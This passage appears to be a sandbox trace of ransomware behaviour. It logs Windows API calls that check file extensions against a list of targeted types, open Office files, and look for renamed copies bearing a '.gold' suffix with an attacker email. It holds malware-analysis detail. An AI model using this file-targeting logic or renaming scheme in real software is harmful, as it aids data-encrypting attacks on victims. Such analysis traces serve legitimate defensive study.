(lpString1=".docx", lpString2="n.exe") returned -1 [0088.929] lstrlenW (lpString=".pdf") returned 4 [0088.929] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.929] lstrlenW (lpString=".xls") returned 4 [0088.929] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.929] lstrlenW (lpString=".xlsx") returned 5 [0088.929] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0088.929] lstrlenW (lpString=".ppt") returned 4 [0088.929] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.929] lstrlenW (lpString=".zip") returned 4 [0088.929] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.929] lstrlenW (lpString=".rar") returned 4 [0088.929] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.929] lstrlenW (lpString=".bz2") returned 4 [0088.929] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.929] lstrlenW (lpString=".7z") returned 3 [0088.929] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.929] lstrlenW (lpString=".dbf") returned 4 [0088.929] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.929] lstrlenW (lpString=".1cd") returned 4 [0088.929] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe") returned 75 [0088.929] lstrlenW (lpString=".jpg") returned 4 [0088.929] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.929] lstrcmpiW (lpString1=".CAB", lpString2=".gold") returned -1 [0088.929] lstrlenW (lpString="MUAUTH.CAB") returned 10 [0088.929] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.978] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=6747) returned 1 [0088.978] CloseHandle (hObject=0x38c) returned 1 [0088.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab")) returned 0x20 [0088.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\muauth.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.978] lstrlenW (lpString=".doc") returned 4 [0088.978] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0088.978] lstrlenW (lpString=".docx") returned 5 [0088.978] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0088.978] lstrlenW (lpString=".pdf") returned 4 [0088.978] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0088.978] lstrlenW (lpString=".xls") returned 4 [0088.978] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0088.978] lstrlenW (lpString=".xlsx") returned 5 [0088.978] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0088.978] lstrlenW (lpString=".ppt") returned 4 [0088.978] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0088.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString=".zip") returned 4 [0088.979] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString=".rar") returned 4 [0088.979] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString=".bz2") returned 4 [0088.979] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0088.979] lstrlenW (lpString=".7z") returned 3 [0088.979] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0088.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString=".dbf") returned 4 [0088.979] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString=".1cd") returned 4 [0088.979] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0088.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString=".jpg") returned 4 [0088.979] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString=".doc") returned 4 [0088.979] lstrcmpiW (lpString1=".doc", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString=".docx") returned 5 [0088.979] lstrcmpiW (lpString1=".docx", lpString2="H.CAB") returned -1 [0088.979] lstrlenW (lpString=".pdf") returned 4 [0088.979] lstrcmpiW (lpString1=".pdf", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString=".xls") returned 4 [0088.979] lstrcmpiW (lpString1=".xls", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString=".xlsx") returned 5 [0088.979] lstrcmpiW (lpString1=".xlsx", lpString2="H.CAB") returned -1 [0088.979] lstrlenW (lpString=".ppt") returned 4 [0088.979] lstrcmpiW (lpString1=".ppt", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString=".zip") returned 4 [0088.979] lstrcmpiW (lpString1=".zip", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString=".rar") returned 4 [0088.979] lstrcmpiW (lpString1=".rar", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString=".bz2") returned 4 [0088.979] lstrcmpiW (lpString1=".bz2", lpString2=".CAB") returned -1 [0088.979] lstrlenW (lpString=".7z") returned 3 [0088.979] lstrcmpiW (lpString1=".7z", lpString2="CAB") returned -1 [0088.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString=".dbf") returned 4 [0088.979] lstrcmpiW (lpString1=".dbf", lpString2=".CAB") returned 1 [0088.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString=".1cd") returned 4 [0088.979] lstrcmpiW (lpString1=".1cd", lpString2=".CAB") returned -1 [0088.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MUAUTH.CAB") returned 66 [0088.979] lstrlenW (lpString=".jpg") returned 4 [0088.979] lstrcmpiW (lpString1=".jpg", lpString2=".CAB") returned 1 [0088.979] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0088.980] lstrlenW (lpString="Oarpmany.exe") returned 12 [0088.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.980] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=232840) returned 1 [0088.980] CloseHandle (hObject=0x38c) returned 1 [0088.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe")) returned 0x20 [0088.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\oarpmany.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.981] lstrlenW (lpString=".doc") returned 4 [0088.981] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.981] lstrlenW (lpString=".docx") returned 5 [0088.981] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0088.981] lstrlenW (lpString=".pdf") returned 4 [0088.981] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.981] lstrlenW (lpString=".xls") returned 4 [0088.981] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.981] lstrlenW (lpString=".xlsx") returned 5 [0088.981] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0088.981] lstrlenW (lpString=".ppt") returned 4 [0088.981] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.981] lstrlenW (lpString=".zip") returned 4 [0088.981] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.981] lstrlenW (lpString=".rar") returned 4 [0088.981] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.981] lstrlenW (lpString=".bz2") returned 4 [0088.981] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.981] lstrlenW (lpString=".7z") returned 3 [0088.981] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.981] lstrlenW (lpString=".dbf") returned 4 [0088.981] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.981] lstrlenW (lpString=".1cd") returned 4 [0088.981] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.981] lstrlenW (lpString=".jpg") returned 4 [0088.981] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.981] lstrlenW (lpString=".doc") returned 4 [0088.981] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.981] lstrlenW (lpString=".docx") returned 5 [0088.981] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0088.981] lstrlenW (lpString=".pdf") returned 4 [0088.981] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.981] lstrlenW (lpString=".xls") returned 4 [0088.981] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.982] lstrlenW (lpString=".xlsx") returned 5 [0088.982] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0088.982] lstrlenW (lpString=".ppt") returned 4 [0088.982] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.982] lstrlenW (lpString=".zip") returned 4 [0088.982] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.982] lstrlenW (lpString=".rar") returned 4 [0088.982] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.982] lstrlenW (lpString=".bz2") returned 4 [0088.982] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.982] lstrlenW (lpString=".7z") returned 3 [0088.982] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.982] lstrlenW (lpString=".dbf") returned 4 [0088.982] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.982] lstrlenW (lpString=".1cd") returned 4 [0088.982] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Oarpmany.exe") returned 68 [0088.982] lstrlenW (lpString=".jpg") returned 4 [0088.982] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.982] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0088.982] lstrlenW (lpString="ODBCMON.DLL") returned 11 [0088.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.983] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=30056) returned 1 [0088.983] CloseHandle (hObject=0x38c) returned 1 [0088.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll")) returned 0x20 [0088.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.983] lstrlenW (lpString=".doc") returned 4 [0088.983] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0088.983] lstrlenW (lpString=".docx") returned 5 [0088.983] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0088.984] lstrlenW (lpString=".pdf") returned 4 [0088.984] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString=".xls") returned 4 [0088.984] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString=".xlsx") returned 5 [0088.984] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0088.984] lstrlenW (lpString=".ppt") returned 4 [0088.984] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.984] lstrlenW (lpString=".zip") returned 4 [0088.984] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString=".rar") returned 4 [0088.984] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString=".bz2") returned 4 [0088.984] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0088.984] lstrlenW (lpString=".7z") returned 3 [0088.984] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.984] lstrlenW (lpString=".dbf") returned 4 [0088.984] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.984] lstrlenW (lpString=".1cd") returned 4 [0088.984] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.984] lstrlenW (lpString=".jpg") returned 4 [0088.984] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.984] lstrlenW (lpString=".doc") returned 4 [0088.984] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString=".docx") returned 5 [0088.984] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0088.984] lstrlenW (lpString=".pdf") returned 4 [0088.984] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString=".xls") returned 4 [0088.984] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString=".xlsx") returned 5 [0088.984] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0088.984] lstrlenW (lpString=".ppt") returned 4 [0088.984] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.984] lstrlenW (lpString=".zip") returned 4 [0088.984] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString=".rar") returned 4 [0088.984] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0088.984] lstrlenW (lpString=".bz2") returned 4 [0088.984] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0088.984] lstrlenW (lpString=".7z") returned 3 [0088.984] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.984] lstrlenW (lpString=".dbf") returned 4 [0088.984] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.984] lstrlenW (lpString=".1cd") returned 4 [0088.985] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0088.985] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned 67 [0088.985] lstrlenW (lpString=".jpg") returned 4 [0088.985] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0088.985] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0088.985] lstrlenW (lpString="ODeploy.exe") returned 11 [0088.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.986] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=571320) returned 1 [0088.986] CloseHandle (hObject=0x38c) returned 1 [0088.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0088.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.986] lstrlenW (lpString=".doc") returned 4 [0088.986] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.986] lstrlenW (lpString=".docx") returned 5 [0088.986] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0088.986] lstrlenW (lpString=".pdf") returned 4 [0088.986] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.986] lstrlenW (lpString=".xls") returned 4 [0088.986] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.986] lstrlenW (lpString=".xlsx") returned 5 [0088.986] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0088.986] lstrlenW (lpString=".ppt") returned 4 [0088.986] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.986] lstrlenW (lpString=".zip") returned 4 [0088.986] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.986] lstrlenW (lpString=".rar") returned 4 [0088.986] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.986] lstrlenW (lpString=".bz2") returned 4 [0088.986] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.987] lstrlenW (lpString=".7z") returned 3 [0088.987] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.987] lstrlenW (lpString=".dbf") returned 4 [0088.987] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.987] lstrlenW (lpString=".1cd") returned 4 [0088.987] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.987] lstrlenW (lpString=".jpg") returned 4 [0088.987] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.987] lstrlenW (lpString=".doc") returned 4 [0088.987] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0088.987] lstrlenW (lpString=".docx") returned 5 [0088.987] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0088.987] lstrlenW (lpString=".pdf") returned 4 [0088.987] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0088.987] lstrlenW (lpString=".xls") returned 4 [0088.987] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0088.987] lstrlenW (lpString=".xlsx") returned 5 [0088.987] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0088.987] lstrlenW (lpString=".ppt") returned 4 [0088.987] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0088.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.987] lstrlenW (lpString=".zip") returned 4 [0088.987] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0088.987] lstrlenW (lpString=".rar") returned 4 [0088.987] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0088.987] lstrlenW (lpString=".bz2") returned 4 [0088.987] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0088.987] lstrlenW (lpString=".7z") returned 3 [0088.987] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0088.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.987] lstrlenW (lpString=".dbf") returned 4 [0088.987] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0088.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.987] lstrlenW (lpString=".1cd") returned 4 [0088.987] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0088.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0088.987] lstrlenW (lpString=".jpg") returned 4 [0088.987] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0088.987] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0088.987] lstrlenW (lpString="BRANDING.DLL") returned 12 [0088.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.989] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=15224) returned 1 [0088.989] CloseHandle (hObject=0x38c) returned 1 [0088.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 